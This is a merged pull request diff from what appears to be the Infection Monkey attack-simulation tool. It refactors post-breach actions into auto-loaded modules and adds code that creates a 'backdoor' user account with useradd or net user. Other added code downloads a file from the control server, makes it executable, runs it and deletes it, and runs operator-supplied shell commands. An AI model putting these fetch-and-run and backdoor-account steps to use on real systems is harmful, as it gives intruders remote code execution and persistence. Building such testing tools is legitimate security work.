Merge pull request #316 from VakarisZ/post_breach_refactor
Post breach refactored to support PBA's from list
This commit is contained in:
commit
9f0e3c8513
|
@ -20,7 +20,6 @@ class Configuration(object):
|
||||||
# now we won't work at <2.7 for sure
|
# now we won't work at <2.7 for sure
|
||||||
network_import = importlib.import_module('infection_monkey.network')
|
network_import = importlib.import_module('infection_monkey.network')
|
||||||
exploit_import = importlib.import_module('infection_monkey.exploit')
|
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||||
post_breach_import = importlib.import_module('infection_monkey.post_breach')
|
|
||||||
|
|
||||||
unknown_items = []
|
unknown_items = []
|
||||||
for key, value in formatted_data.items():
|
for key, value in formatted_data.items():
|
||||||
|
@ -37,9 +36,6 @@ class Configuration(object):
|
||||||
elif key == 'exploiter_classes':
|
elif key == 'exploiter_classes':
|
||||||
class_objects = [getattr(exploit_import, val) for val in value]
|
class_objects = [getattr(exploit_import, val) for val in value]
|
||||||
setattr(self, key, class_objects)
|
setattr(self, key, class_objects)
|
||||||
elif key == 'post_breach_actions':
|
|
||||||
class_objects = [getattr(post_breach_import, val) for val in value]
|
|
||||||
setattr(self, key, class_objects)
|
|
||||||
else:
|
else:
|
||||||
if hasattr(self, key):
|
if hasattr(self, key):
|
||||||
setattr(self, key, value)
|
setattr(self, key, value)
|
||||||
|
|
|
@ -20,6 +20,8 @@ requests.packages.urllib3.disable_warnings()
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
DOWNLOAD_CHUNK = 1024
|
DOWNLOAD_CHUNK = 1024
|
||||||
|
|
||||||
|
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
|
||||||
|
|
||||||
# random number greater than 5,
|
# random number greater than 5,
|
||||||
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
|
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
|
||||||
TIMEOUT_IN_SECONDS = 15
|
TIMEOUT_IN_SECONDS = 15
|
||||||
|
@ -307,3 +309,13 @@ class ControlClient(object):
|
||||||
target_addr, target_port = None, None
|
target_addr, target_port = None, None
|
||||||
|
|
||||||
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
|
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_pba_file(filename):
|
||||||
|
try:
|
||||||
|
return requests.get(PBA_FILE_DOWNLOAD %
|
||||||
|
(WormConfiguration.current_server, filename),
|
||||||
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies)
|
||||||
|
except requests.exceptions.RequestException:
|
||||||
|
return False
|
||||||
|
|
|
@ -121,10 +121,7 @@ class InfectionMonkey(object):
|
||||||
system_info = system_info_collector.get_info()
|
system_info = system_info_collector.get_info()
|
||||||
ControlClient.send_telemetry("system_info_collection", system_info)
|
ControlClient.send_telemetry("system_info_collection", system_info)
|
||||||
|
|
||||||
for action_class in WormConfiguration.post_breach_actions:
|
# Executes post breach actions
|
||||||
action = action_class()
|
|
||||||
action.act()
|
|
||||||
|
|
||||||
PostBreach().execute()
|
PostBreach().execute()
|
||||||
|
|
||||||
if 0 == WormConfiguration.depth:
|
if 0 == WormConfiguration.depth:
|
||||||
|
|
|
@ -15,7 +15,7 @@ def main():
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['..'],
|
pathex=['..'],
|
||||||
hiddenimports=get_hidden_imports(),
|
hiddenimports=get_hidden_imports(),
|
||||||
hookspath=None,
|
hookspath=['./pyinstaller_hooks'],
|
||||||
runtime_hooks=None,
|
runtime_hooks=None,
|
||||||
binaries=None,
|
binaries=None,
|
||||||
datas=None,
|
datas=None,
|
||||||
|
|
|
@ -1,4 +1 @@
|
||||||
__author__ = 'danielg'
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
|
||||||
from add_user import BackdoorUser
|
|
||||||
|
|
|
@ -0,0 +1,11 @@
|
||||||
|
from os.path import dirname, basename, isfile, join
|
||||||
|
import glob
|
||||||
|
|
||||||
|
|
||||||
|
def get_pba_files():
|
||||||
|
"""
|
||||||
|
Gets all files under current directory(/actions)
|
||||||
|
:return: list of all files without .py ending
|
||||||
|
"""
|
||||||
|
files = glob.glob(join(dirname(__file__), "*.py"))
|
||||||
|
return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]
|
|
@ -0,0 +1,19 @@
|
||||||
|
import datetime
|
||||||
|
from infection_monkey.post_breach.pba import PBA
|
||||||
|
from infection_monkey.config import WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
|
||||||
|
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
|
||||||
|
WormConfiguration.user_to_add]
|
||||||
|
|
||||||
|
WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
|
||||||
|
WormConfiguration.remote_user_pass,
|
||||||
|
'/add', '/ACTIVE:NO']
|
||||||
|
|
||||||
|
|
||||||
|
class BackdoorUser(PBA):
|
||||||
|
def __init__(self):
|
||||||
|
super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS)
|
|
@ -0,0 +1,91 @@
|
||||||
|
import os
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from infection_monkey.utils import is_windows_os
|
||||||
|
from infection_monkey.post_breach.pba import PBA
|
||||||
|
from infection_monkey.control import ControlClient
|
||||||
|
from infection_monkey.config import WormConfiguration
|
||||||
|
from infection_monkey.utils import get_monkey_dir_path
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
# Default commands for executing PBA file and then removing it
|
||||||
|
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
|
||||||
|
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
|
||||||
|
|
||||||
|
DIR_CHANGE_WINDOWS = 'cd %s & '
|
||||||
|
DIR_CHANGE_LINUX = 'cd %s ; '
|
||||||
|
|
||||||
|
|
||||||
|
class UsersPBA(PBA):
|
||||||
|
"""
|
||||||
|
Defines user's configured post breach action.
|
||||||
|
"""
|
||||||
|
def __init__(self):
|
||||||
|
super(UsersPBA, self).__init__("File execution")
|
||||||
|
self.filename = ''
|
||||||
|
if not is_windows_os():
|
||||||
|
# Add linux commands to PBA's
|
||||||
|
if WormConfiguration.PBA_linux_filename:
|
||||||
|
if WormConfiguration.custom_PBA_linux_cmd:
|
||||||
|
# Add change dir command, because user will try to access his file
|
||||||
|
self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
|
||||||
|
self.filename = WormConfiguration.PBA_linux_filename
|
||||||
|
else:
|
||||||
|
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
|
||||||
|
self.command = DEFAULT_LINUX_COMMAND.format(file_path)
|
||||||
|
self.filename = WormConfiguration.PBA_linux_filename
|
||||||
|
elif WormConfiguration.custom_PBA_linux_cmd:
|
||||||
|
self.command = WormConfiguration.custom_PBA_linux_cmd
|
||||||
|
else:
|
||||||
|
# Add windows commands to PBA's
|
||||||
|
if WormConfiguration.PBA_windows_filename:
|
||||||
|
if WormConfiguration.custom_PBA_windows_cmd:
|
||||||
|
# Add change dir command, because user will try to access his file
|
||||||
|
self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
|
||||||
|
self.filename = WormConfiguration.PBA_windows_filename
|
||||||
|
else:
|
||||||
|
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
|
||||||
|
self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
|
||||||
|
self.filename = WormConfiguration.PBA_windows_filename
|
||||||
|
elif WormConfiguration.custom_PBA_windows_cmd:
|
||||||
|
self.command = WormConfiguration.custom_PBA_windows_cmd
|
||||||
|
|
||||||
|
def _execute_default(self):
|
||||||
|
if self.filename:
|
||||||
|
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
|
||||||
|
return super(UsersPBA, self)._execute_default()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def should_run(class_name):
|
||||||
|
if not is_windows_os():
|
||||||
|
if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def download_pba_file(dst_dir, filename):
|
||||||
|
"""
|
||||||
|
Handles post breach action file download
|
||||||
|
:param dst_dir: Destination directory
|
||||||
|
:param filename: Filename
|
||||||
|
:return: True if successful, false otherwise
|
||||||
|
"""
|
||||||
|
|
||||||
|
pba_file_contents = ControlClient.get_pba_file(filename)
|
||||||
|
|
||||||
|
if not pba_file_contents or not pba_file_contents.content:
|
||||||
|
LOG.error("Island didn't respond with post breach file.")
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||||
|
written_PBA_file.write(pba_file_contents.content)
|
||||||
|
return True
|
||||||
|
except IOError as e:
|
||||||
|
LOG.error("Can not upload post breach file to target machine: %s" % e)
|
||||||
|
return False
|
|
@ -1,52 +0,0 @@
|
||||||
import datetime
|
|
||||||
import logging
|
|
||||||
import subprocess
|
|
||||||
import sys
|
|
||||||
from infection_monkey.config import WormConfiguration
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
# Linux doesn't have WindowsError
|
|
||||||
try:
|
|
||||||
WindowsError
|
|
||||||
except NameError:
|
|
||||||
WindowsError = None
|
|
||||||
|
|
||||||
__author__ = 'danielg'
|
|
||||||
|
|
||||||
|
|
||||||
class BackdoorUser(object):
|
|
||||||
"""
|
|
||||||
This module adds a disabled user to the system.
|
|
||||||
This tests part of the ATT&CK matrix
|
|
||||||
"""
|
|
||||||
|
|
||||||
def act(self):
|
|
||||||
LOG.info("Adding a user")
|
|
||||||
try:
|
|
||||||
if sys.platform.startswith("win"):
|
|
||||||
retval = self.add_user_windows()
|
|
||||||
else:
|
|
||||||
retval = self.add_user_linux()
|
|
||||||
if retval != 0:
|
|
||||||
LOG.warn("Failed to add a user")
|
|
||||||
else:
|
|
||||||
LOG.info("Done adding user")
|
|
||||||
except OSError:
|
|
||||||
LOG.exception("Exception while adding a user")
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def add_user_linux():
|
|
||||||
cmd_line = ['useradd', '-M', '--expiredate',
|
|
||||||
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
|
|
||||||
WormConfiguration.user_to_add]
|
|
||||||
retval = subprocess.call(cmd_line)
|
|
||||||
return retval
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def add_user_windows():
|
|
||||||
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
|
|
||||||
WormConfiguration.remote_user_pass,
|
|
||||||
'/add', '/ACTIVE:NO']
|
|
||||||
retval = subprocess.call(cmd_line)
|
|
||||||
return retval
|
|
|
@ -1,68 +0,0 @@
|
||||||
from infection_monkey.post_breach.pba import PBA
|
|
||||||
from infection_monkey.control import ControlClient
|
|
||||||
from infection_monkey.config import WormConfiguration
|
|
||||||
from infection_monkey.utils import get_monkey_dir_path
|
|
||||||
import requests
|
|
||||||
import os
|
|
||||||
import logging
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
__author__ = 'VakarisZ'
|
|
||||||
|
|
||||||
# Default commands for executing PBA file and then removing it
|
|
||||||
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
|
|
||||||
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
|
|
||||||
|
|
||||||
|
|
||||||
class FileExecution(PBA):
|
|
||||||
"""
|
|
||||||
Defines user's file execution post breach action.
|
|
||||||
"""
|
|
||||||
def __init__(self, linux_command="", windows_command=""):
|
|
||||||
self.linux_filename = WormConfiguration.PBA_linux_filename
|
|
||||||
self.windows_filename = WormConfiguration.PBA_windows_filename
|
|
||||||
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
|
|
||||||
|
|
||||||
def _execute_linux(self):
|
|
||||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
|
|
||||||
return super(FileExecution, self)._execute_linux()
|
|
||||||
|
|
||||||
def _execute_win(self):
|
|
||||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
|
|
||||||
return super(FileExecution, self)._execute_win()
|
|
||||||
|
|
||||||
def add_default_command(self, is_linux):
|
|
||||||
"""
|
|
||||||
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
|
|
||||||
and finally deletes post breach file).
|
|
||||||
Default commands are defined as globals in this module.
|
|
||||||
:param is_linux: Boolean that indicates for which OS the command is being set.
|
|
||||||
"""
|
|
||||||
if is_linux:
|
|
||||||
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
|
|
||||||
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
|
|
||||||
else:
|
|
||||||
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
|
|
||||||
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def download_PBA_file(dst_dir, filename):
|
|
||||||
"""
|
|
||||||
Handles post breach action file download
|
|
||||||
:param dst_dir: Destination directory
|
|
||||||
:param filename: Filename
|
|
||||||
:return: True if successful, false otherwise
|
|
||||||
"""
|
|
||||||
|
|
||||||
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
|
|
||||||
(WormConfiguration.current_server, filename),
|
|
||||||
verify=False,
|
|
||||||
proxies=ControlClient.proxies)
|
|
||||||
try:
|
|
||||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
|
||||||
written_PBA_file.write(PBA_file_contents.content)
|
|
||||||
return True
|
|
||||||
except IOError as e:
|
|
||||||
LOG.error("Can not download post breach file to target machine, because %s" % e)
|
|
||||||
return False
|
|
|
@ -1,7 +1,9 @@
|
||||||
import logging
|
import logging
|
||||||
from infection_monkey.control import ControlClient
|
|
||||||
import subprocess
|
import subprocess
|
||||||
import socket
|
from infection_monkey.control import ControlClient
|
||||||
|
from infection_monkey.utils import is_windows_os
|
||||||
|
from infection_monkey.config import WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -12,57 +14,57 @@ class PBA(object):
|
||||||
"""
|
"""
|
||||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||||
"""
|
"""
|
||||||
def __init__(self, name="unknown", linux_command="", windows_command=""):
|
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
|
||||||
"""
|
"""
|
||||||
:param name: Name of post breach action.
|
:param name: Name of post breach action.
|
||||||
:param linux_command: Command that will be executed on linux machine
|
:param command: Command that will be executed on breached machine
|
||||||
:param windows_command: Command that will be executed on windows machine
|
|
||||||
"""
|
"""
|
||||||
self.linux_command = linux_command
|
self.command = PBA.choose_command(linux_cmd, windows_cmd)
|
||||||
self.windows_command = windows_command
|
|
||||||
self.name = name
|
self.name = name
|
||||||
|
|
||||||
def run(self, is_linux):
|
def get_pba(self):
|
||||||
"""
|
"""
|
||||||
Runs post breach action command
|
This method returns a PBA object based on a worm's configuration.
|
||||||
:param is_linux: boolean that indicates on which os monkey is running
|
Return None or False if you don't want the pba to be executed.
|
||||||
|
:return: A pba object.
|
||||||
"""
|
"""
|
||||||
if is_linux:
|
return self
|
||||||
command = self.linux_command
|
|
||||||
exec_funct = self._execute_linux
|
|
||||||
else:
|
|
||||||
command = self.windows_command
|
|
||||||
exec_funct = self._execute_win
|
|
||||||
if command:
|
|
||||||
hostname = socket.gethostname()
|
|
||||||
ControlClient.send_telemetry('post_breach', {'command': command,
|
|
||||||
'result': exec_funct(),
|
|
||||||
'name': self.name,
|
|
||||||
'hostname': hostname,
|
|
||||||
'ip': socket.gethostbyname(hostname)
|
|
||||||
})
|
|
||||||
|
|
||||||
def _execute_linux(self):
|
|
||||||
"""
|
|
||||||
Default linux PBA execution function. Override it if additional functionality is needed
|
|
||||||
"""
|
|
||||||
return self._execute_default(self.linux_command)
|
|
||||||
|
|
||||||
def _execute_win(self):
|
|
||||||
"""
|
|
||||||
Default linux PBA execution function. Override it if additional functionality is needed
|
|
||||||
"""
|
|
||||||
return self._execute_default(self.windows_command)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _execute_default(command):
|
def should_run(class_name):
|
||||||
|
"""
|
||||||
|
Decides if post breach action is enabled in config
|
||||||
|
:return: True if it needs to be ran, false otherwise
|
||||||
|
"""
|
||||||
|
return class_name in WormConfiguration.post_breach_actions
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
"""
|
||||||
|
Runs post breach action command
|
||||||
|
"""
|
||||||
|
exec_funct = self._execute_default
|
||||||
|
result = exec_funct()
|
||||||
|
ControlClient.send_telemetry('post_breach', {'command': self.command,
|
||||||
|
'result': result,
|
||||||
|
'name': self.name})
|
||||||
|
|
||||||
|
def _execute_default(self):
|
||||||
"""
|
"""
|
||||||
Default post breach command execution routine
|
Default post breach command execution routine
|
||||||
:param command: What command to execute
|
|
||||||
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
|
return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
|
||||||
except subprocess.CalledProcessError as e:
|
except subprocess.CalledProcessError as e:
|
||||||
# Return error output of the command
|
# Return error output of the command
|
||||||
return e.output, False
|
return e.output, False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def choose_command(linux_cmd, windows_cmd):
|
||||||
|
"""
|
||||||
|
Helper method that chooses between linux and windows commands.
|
||||||
|
:param linux_cmd:
|
||||||
|
:param windows_cmd:
|
||||||
|
:return: Command for current os
|
||||||
|
"""
|
||||||
|
return windows_cmd if is_windows_os() else linux_cmd
|
||||||
|
|
|
@ -1,16 +1,15 @@
|
||||||
import logging
|
import logging
|
||||||
import infection_monkey.config
|
import inspect
|
||||||
from file_execution import FileExecution
|
import importlib
|
||||||
from pba import PBA
|
from infection_monkey.post_breach.pba import PBA
|
||||||
|
from infection_monkey.post_breach.actions import get_pba_files
|
||||||
from infection_monkey.utils import is_windows_os
|
from infection_monkey.utils import is_windows_os
|
||||||
from infection_monkey.utils import get_monkey_dir_path
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
__author__ = 'VakarisZ'
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
DIR_CHANGE_WINDOWS = 'cd %s & '
|
PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
|
||||||
DIR_CHANGE_LINUX = 'cd %s ; '
|
|
||||||
|
|
||||||
|
|
||||||
class PostBreach(object):
|
class PostBreach(object):
|
||||||
|
@ -19,65 +18,34 @@ class PostBreach(object):
|
||||||
"""
|
"""
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.os_is_linux = not is_windows_os()
|
self.os_is_linux = not is_windows_os()
|
||||||
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
|
self.pba_list = self.config_to_pba_list()
|
||||||
|
|
||||||
def execute(self):
|
def execute(self):
|
||||||
"""
|
"""
|
||||||
Executes all post breach actions.
|
Executes all post breach actions.
|
||||||
"""
|
"""
|
||||||
for pba in self.pba_list:
|
for pba in self.pba_list:
|
||||||
pba.run(self.os_is_linux)
|
pba.run()
|
||||||
LOG.info("Post breach actions executed")
|
LOG.info("Post breach actions executed")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def config_to_pba_list(config):
|
def config_to_pba_list():
|
||||||
"""
|
"""
|
||||||
Returns a list of PBA objects generated from config.
|
Passes config to each post breach action class and aggregates results into a list.
|
||||||
:param config: Monkey configuration
|
|
||||||
:return: A list of PBA objects.
|
:return: A list of PBA objects.
|
||||||
"""
|
"""
|
||||||
pba_list = []
|
pba_list = []
|
||||||
pba_list.extend(PostBreach.get_custom_PBA(config))
|
pba_files = get_pba_files()
|
||||||
|
# Go through all of files in ./actions
|
||||||
|
for pba_file in pba_files:
|
||||||
|
# Import module from that file
|
||||||
|
module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
|
||||||
|
# Get all classes in a module
|
||||||
|
pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
|
||||||
|
if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
|
||||||
|
# Get post breach action object from class
|
||||||
|
for pba_class in pba_classes:
|
||||||
|
if pba_class.should_run(pba_class.__name__):
|
||||||
|
pba = pba_class()
|
||||||
|
pba_list.append(pba)
|
||||||
return pba_list
|
return pba_list
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_custom_PBA(config):
|
|
||||||
"""
|
|
||||||
Creates post breach actions depending on users input into 'custom post breach' config section
|
|
||||||
:param config: monkey's configuration
|
|
||||||
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
|
|
||||||
"""
|
|
||||||
custom_list = []
|
|
||||||
file_pba = FileExecution()
|
|
||||||
command_pba = PBA(name="Custom")
|
|
||||||
|
|
||||||
if not is_windows_os():
|
|
||||||
# Add linux commands to PBA's
|
|
||||||
if config.PBA_linux_filename:
|
|
||||||
if config.custom_PBA_linux_cmd:
|
|
||||||
# Add change dir command, because user will try to access his file
|
|
||||||
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
|
|
||||||
else:
|
|
||||||
file_pba.add_default_command(is_linux=True)
|
|
||||||
elif config.custom_PBA_linux_cmd:
|
|
||||||
command_pba.linux_command = config.custom_PBA_linux_cmd
|
|
||||||
else:
|
|
||||||
# Add windows commands to PBA's
|
|
||||||
if config.PBA_windows_filename:
|
|
||||||
if config.custom_PBA_windows_cmd:
|
|
||||||
# Add change dir command, because user will try to access his file
|
|
||||||
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
|
|
||||||
config.custom_PBA_windows_cmd
|
|
||||||
else:
|
|
||||||
file_pba.add_default_command(is_linux=False)
|
|
||||||
elif config.custom_PBA_windows_cmd:
|
|
||||||
command_pba.windows_command = config.custom_PBA_windows_cmd
|
|
||||||
|
|
||||||
# Add PBA's to list
|
|
||||||
if file_pba.linux_command or file_pba.windows_command:
|
|
||||||
custom_list.append(file_pba)
|
|
||||||
if command_pba.windows_command or command_pba.linux_command:
|
|
||||||
custom_list.append(command_pba)
|
|
||||||
|
|
||||||
return custom_list
|
|
||||||
|
|
|
@ -0,0 +1,6 @@
|
||||||
|
from PyInstaller.utils.hooks import collect_submodules, collect_data_files
|
||||||
|
|
||||||
|
# Import all actions as modules
|
||||||
|
hiddenimports = collect_submodules('infection_monkey.post_breach.actions')
|
||||||
|
# Add action files that we enumerate
|
||||||
|
datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True))
|
|
@ -21,7 +21,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
this.initialConfig = {};
|
this.initialConfig = {};
|
||||||
this.initialAttackConfig = {};
|
this.initialAttackConfig = {};
|
||||||
this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||||
this.uiSchemas = ConfigurePageComponent.getUiSchemas();
|
this.uiSchemas = this.getUiSchemas();
|
||||||
// set schema from server
|
// set schema from server
|
||||||
this.state = {
|
this.state = {
|
||||||
schema: {},
|
schema: {},
|
||||||
|
@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
static getUiSchemas(){
|
getUiSchemas(){
|
||||||
return ({
|
return ({
|
||||||
basic: {"ui:order": ["general", "credentials"]},
|
basic: {"ui:order": ["general", "credentials"]},
|
||||||
basic_network: {},
|
basic_network: {},
|
||||||
|
|
|
@ -2,7 +2,7 @@ import React from 'react';
|
||||||
import ReactTable from 'react-table'
|
import ReactTable from 'react-table'
|
||||||
|
|
||||||
let renderArray = function(val) {
|
let renderArray = function(val) {
|
||||||
return <span>{val.map(x => <span> {x}</span>)}</span>;
|
return <span>{val.map(x => <span key={x}> {x}</span>)}</span>;
|
||||||
};
|
};
|
||||||
|
|
||||||
let renderIpAddresses = function (val) {
|
let renderIpAddresses = function (val) {
|
||||||
|
@ -36,7 +36,7 @@ let renderDetails = function (data) {
|
||||||
columns={subColumns}
|
columns={subColumns}
|
||||||
defaultPageSize={defaultPageSize}
|
defaultPageSize={defaultPageSize}
|
||||||
showPagination={showPagination}
|
showPagination={showPagination}
|
||||||
style={{"background-color": "#ededed"}}
|
style={{"backgroundColor": "#ededed"}}
|
||||||
/>
|
/>
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue